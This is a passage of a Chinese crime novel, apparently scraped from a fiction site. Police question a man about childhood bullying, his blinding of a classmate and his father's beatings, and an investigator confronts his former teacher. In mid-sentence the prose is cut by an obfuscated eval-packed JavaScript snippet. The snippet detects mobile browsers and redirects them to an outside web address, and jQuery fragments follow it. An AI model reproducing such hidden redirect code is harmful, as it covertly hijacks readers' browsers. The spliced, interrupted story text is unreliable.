许远全身血液齐齐上涌,从脖颈到脸烧得红透,眼珠外突,带着嗜血的凶意,恶狠狠地瞪着他们,再次破口大骂。
冯队抽出兜里的照片,紧紧贴到许远面前,问:“这个人是谁,你还记得吗??”
许远瞳孔微微扩大,神色有短暂的恍惚,随即爆发出勃然的愤怒,浑身肌肉都微微颤抖起来,恨不能咬住照片,将他吞吃入腹,恨声道:“我当然记得!要不是找不到他,我第一个杀的就是这畜生!放开我!”
“嗬。”陆盛兴发出一声感叹,将要出口接话,马上被季和阻止了。
季和给了他一脚,斥道:“不要在这里刺激嫌疑人。”
37.学生
目睹许远对着自己的照片发出锥心刺骨的嚎叫,众人神色间无不浮现出难以言喻的怪异。
按着许远肩膀的两名刑警抬起头,视线相触时各自从对方的眼睛里看出了相同的震撼。
好在许远没有余暇观察他们的反应。
冯队捏着那张变型的照片扬了扬,长吁一口气,重新坐下,一腔要跟他促膝长谈的真恳:“说说吧,你期望的公平。你可以想到什么说什么,我们有的是时间。”
冯队等他心情稍加平复,摆摆手示意。两名刑警遵从地松开桎梏的力道,见许远没有继续暴动,仍保持十二万分的警醒,一左一右立在床头,随时准备动手制服。
冯队把照片拍到一旁的床头柜上:“就从这个人说起。”
许远平躺下来,左手这才感受到钝痛。密密麻麻的痛觉给他增添了活着的实感。
他大多数时候只能忍气吞声自我排遣,此时有了听众,一时竟不知该如何罗列那些冗长的磨难。
感觉怎么说都寡淡,像是在乞讨他人微薄的恻隐之心,结果是显而易见的事与愿违。
可他还是鬼使神差地说了。
“我们初中宿舍是四人寝。我搬进去的第一天,就不受另外三个人欢迎。但最先对我发难的其实不是梁益正,而是照片上这个小畜生。
“晚上熄灯后,他说我会污染空气,把我锁到阳台,不让我进去,勒令我保持安静,不能发出声音。我抱着脸盆站在玻璃拉门外,他从被窝里探出头,看着我不停地笑。我不明白他为什么笑。”
许远那张抹着白灰一样的脸,睁着双空洞无神的眼睛,语速和缓,仿似稀疏平常:“我的顺从跟室友的默许,滋长了他凌虐的欲望。他意识到我孤立无援,会偷偷拿我的牙刷去刷厕所,把我的被子丢进水坑,故意把我推进垃圾堆,在班里带头对我进行羞辱跟打骂。”
许远舔了舔嘴唇上的死皮,照本宣科似地道:“我对这些精神类的折磨有高强的耐受性。我没有痛哭流涕,没有无地自容,他们就没人察觉我在经受反常的排挤。连老师也只认为我厚颜无耻、不可救药,路过我身边时,会夸张地捂住口鼻,刻意大声询问我周边的同学是如何忍受我身上的异味,反复提及教室需要通风,引发众人的附和跟议论。有时候心情不好,他们也会干脆找借口把我赶到教室外。
“我当时认为我应该坚强,避免给他人造成更多麻烦。后来反思,这种冷淡的反应或许才让他们失望。他们想听到的,是我低人一等的痛泣跟请求。”
许远说起这些,原本应该呈现出刻骨铭心的痛切,实际却是一种诡异的、千帆过尽的平静。
与先前那个动辄暴跳如雷的青年割裂成完全的两个人。
许远扯了下嘴角,一动不动,恪尽职守地背诵:“畸形的恶意穿戴上正义的盔甲,挥动屠刀瞄准弱小的猎物。”
众人大气不敢出,只感到阵阵的阴寒。
仿佛面前坐着的不是许远,而是不知名时空外借走他躯壳的游魂。
许远痴钝地转述:“我在他们眼里,可能跟被他们出于兴致肢解的昆虫没什么两样。血腥让他们兴奋,而非畏惧。他们享受通过折磨摧毁人的过程,开始变本加厉。
“一次体育课,老师让我们自由活动。他们把我堵在器材室后面的空地,两个人分别按住我的手脚,一个人要来扒我的裤子,梁益正站在边上旁观。我意识到他们不会善罢甘休,因为他们的表情跟着了魔一样,全是对施虐的亢奋跟好奇。我必须要反抗了。”
季和一个错眼,险以为病床上讲述的人是严见远。
后者伸出五指,凝视自己的指尖,犹如在凝视什么浮动的虚影。用他接受采访时那种波澜不惊的腔调,带着些微的厌倦,讲述他的过去。
“我其实没有额外仇视梁益正。我挣开他们的束缚,抓起地上的石头反击时,视野里只看到了梁益正,所以我不顾一切地朝他撞过去,砸向他的眼睛。
“我的本意是阻止他。血液飙到我的脸上时,我听到了他们的尖叫。很多人的叫声掺杂在一起,那种像勾子一样,勾住神经末梢,往外拖拽的凄厉惨叫。
“我感觉我的大脑离开了我的身体。我远比梁益正更恐惧。等我反应过来,我已经在奔逃回家的路上。心脏引动的脉搏占据我的全身,跟即将引爆的信号一样,提醒我自己,我的末日要来了。”
满室静默。
二十多年前少年那场震耳欲聋的心跳,随着时间的倒流,又一次鼓动在众人耳膜。
冯队干涩地问:“你的末日是什么?”
·
“叶老师。”
方清昼把照片放下:“你很讨厌这个学生,不惜推责他的基因、他的家庭,不像是会去做家访的人,那为什么会对他爸打人的画面历历在目?如果我没有猜错,你是在梁益正出事之后,去这个学生家里找他家人兴师问罪,才第一次了解到他的家庭。”
叶老师扔掉擦拭水渍的纸张,站在这个远离方清昼的位置,背靠住墙面,牵强笑道:“什么叫兴师问罪?我只是在努力尽到一个班主任应尽的职责。”
方清昼语气冷冽:“什么责?哪个责?你在现场说了什么,来劝导他们父子去承担故意伤害的责任?”
叶老师脸色煞白,犹如被刺中痛脚,浑身不可抑制地惊颤了下,过了会儿嘴唇嚅嗫地道:“够了,我要叫保安了,你们走吧。”
她摸了摸身上的口袋,发现手机在自己的办公桌上,过去要拿,周随容拦住了她的去路。
叶老师陡然激动,大叫道:“你们要干什么!”
方清昼说:“我之前见过梁益正,特意在他面前提起他受伤的事。我当时随口胡诌了一段,质疑他受害者的身份。他没有辩白,也没有反驳我理由的不充分,而是强调我的观点会受到网友的攻讦,是不正义的行为。我本来没有把握,他的反应给了我答案。我不认为他是一个单纯的受害者。我会做出这样的判断,你呢?该不会始终没有人反驳,你也跟着说服自己,心安理得地接受这个事实?”
叶老师推攘了下周随容,不顾附近是正在上课的学生,放声大喊道:“我可以报警的!你们到底是什么人?滚!”
方清昼问:“关于那个学生的去向,不少人说他被他父亲失手打死,他父亲畏罪潜逃,这些消息有没有传进过你的耳朵?你在见不到人的这么多年里,有没有当真过?”
叶老师惶恐不安地踱步转圈,表情崩裂,不复从容:“闭嘴!”
周边的讲课声停了下来,似乎在屏息凝神地探听这边的动静。
方清昼问:“你偶尔会梦见他吗?那个瘦弱的小孩在你梦里是什么形象?是依旧肮脏不讲卫生,顶着头杂乱不打理的长发,怯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568603|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生生地站在人群外。还是因为你三言两语的恫吓,被他父亲按在地上毒打,鼻青脸肿,求你救命?”
方清昼的字句如同凌迟的刀,片下她表面光鲜的金身,露出内里不堪的泥胎。
叶老师身体剧烈颤抖着喊:“你不要说了!”
方清昼:“你有上前阻拦吗?有送他去医院吗?亦或者是同样对那种暴力感到胆怯,冷眼旁观后落荒而逃?还是有过阴暗的快意,认为毒打是他应得的报应?”
叶老师掀翻桌上的文件,砸掉所有伸手能碰到的东西,嘴里发出歇斯底里的喊叫,跪倒在地,两手捂住自己的耳朵,只想屏蔽掉方清昼的声音,最好什么声音都不要听到。
方清昼无动于衷地站着:“你看向他的时候,是什么心情?是初次见面的厌恶,还是对他失踪的庆幸?他看向你的时候,是什么眼神?是尊重吗?或者是你从来没有关注过?你听梁益正给他打上莫须有的罪名,看网友对他进行残酷的声讨,心里想的又是什么?”
叶老师没了力气,粗重的呼吸声宛如肆虐的洪水从耳朵灌进她的四肢百骸,在她身体正中凝成高速旋转的漩涡,将她的思绪、感知,绞杀成无数的碎屑,纷纷扬扬地在她灵魂里飘动。
她大睁着眼,看到地面在晃动,豆大的水珠成串地滴落,洇湿灰色的地面,渗出斑驳的颜色。
“尊敬的……老师。”她听到方清昼的舌尖含着字,一个一个地往外推,“你敲响了他延时的丧钟。”
叶老师耳边响彻着雷霆似的轰鸣。
“老师?”
“老师你怎么了?”
嘈嘈切切的声音传来。
叶老师脖颈僵硬地顺着声音望去。就见办公室门口里三层外三层地围着数十名学生,被她叫声吸引过来,正表情关切地看着她。
“他回来了。”方清昼居高临下地告诉她,“他回来找他的真相。”
·
“我没有那么想杀梁益正。我跟他之间的恩怨,在我打瞎他的眼睛为止,就姑且算作两清。”许远说,“大多数的问题,不算是他制造的。是他身边推波助澜的人。”
冯队很想提醒他,就在五分钟前,他还在声嘶力竭地宣告,他要杀了梁益正。
许远表情空茫,好似一个逼真的假人:“我的老师跟我爸说,我们家会面临上百万的赔偿。我爸爸作为监护人,要承担连带的责任。所以一定要争取到跟梁益正和解。那一次,我爸是真的想打死我。我的血从客厅流到门口,成片飙溅到墙上。我自己醒过来,以为要死了,但是死不掉。”
冯队听得心惊肉跳,五大三粗的男人也有些不敢幻想那种森凉可怖的场景,问:“所以你恨他?”
“恨?我恨谁?”许远诧异了数秒,眨了下布满血丝的眼睛,“我爸?呵,恨在很大程度上,是基于自尊产生的。在那个年纪,那个环境,我没有自尊。我只想讨好。我爱他。我渴望残缺的父爱,哪怕是一点虚假的施舍。他对我的一切暴力,我全部归咎于自己的无能。我可以接触到的一切:社会、书本、老师,所有的事物,都告诉我,父母是必然爱子女的,这是人类的天性,他怎么会不爱我?那一定是我的错。是我。”
“你不恨你爸,也不恨梁益正,那你——”冯队止住声音,突然问道,“你爸在哪儿?”
许远平淡如水地说:“他死了。”